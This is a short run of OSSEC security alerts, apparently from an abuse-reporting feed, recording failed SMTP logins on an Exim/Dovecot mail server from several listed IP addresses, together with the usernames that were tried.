2026-02-01 02:00:15 dovecot_login authenticator failed for H=([179.181.133.153]) [179.181.133.153]:32772: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.135.117.245
country_id: 6252001
description:
2026-02-01 02:00:39 dovecot_login authenticator failed for H=107-135-117-245.lightspeed.livnmi.sbcglobal.net [107.135.117.245]:38582: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 02:01:20 dovecot_login authenticator failed for H=(6yez5Ym) [185.36.81.54]:57004: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-02-01 02:01:33 dovecot_login authenticator failed for H=(41.215.125.250.accesskenya.com) [41.215.125.250]:56292: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.41.103
country_id: 1814991
description:
2026-02-01 02:01:47 dovecot_login authenticator failed for H=([60.172.41.103]) [60.172.41.103]:35278: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.55.194.114
country_id: 6252001
description:
2026-02-01 02:02:35 dovecot_plain authenticator failed for H=c-73-55-194-114.hsd1.tx.comcast.net (lutgon) [73.55.194.114]:44478: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 02:02:11 dovecot_login authenticator failed for H=(OHGi534) [185.36.81.54]:53311: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 02:03:20 dovecot_login authenticator failed for H=(ULDTZI5O) [185.36.81.54]:64909: 535 Incorrect authentication data (set_id=jacklim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.142.106.177
country_id: 298795
description:
2026-02-01 02:03:25 dovecot_login authenticator failed for H=([188.132.210.145]) [195.142.106.177]:11981: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 02:03:45 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:47761: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


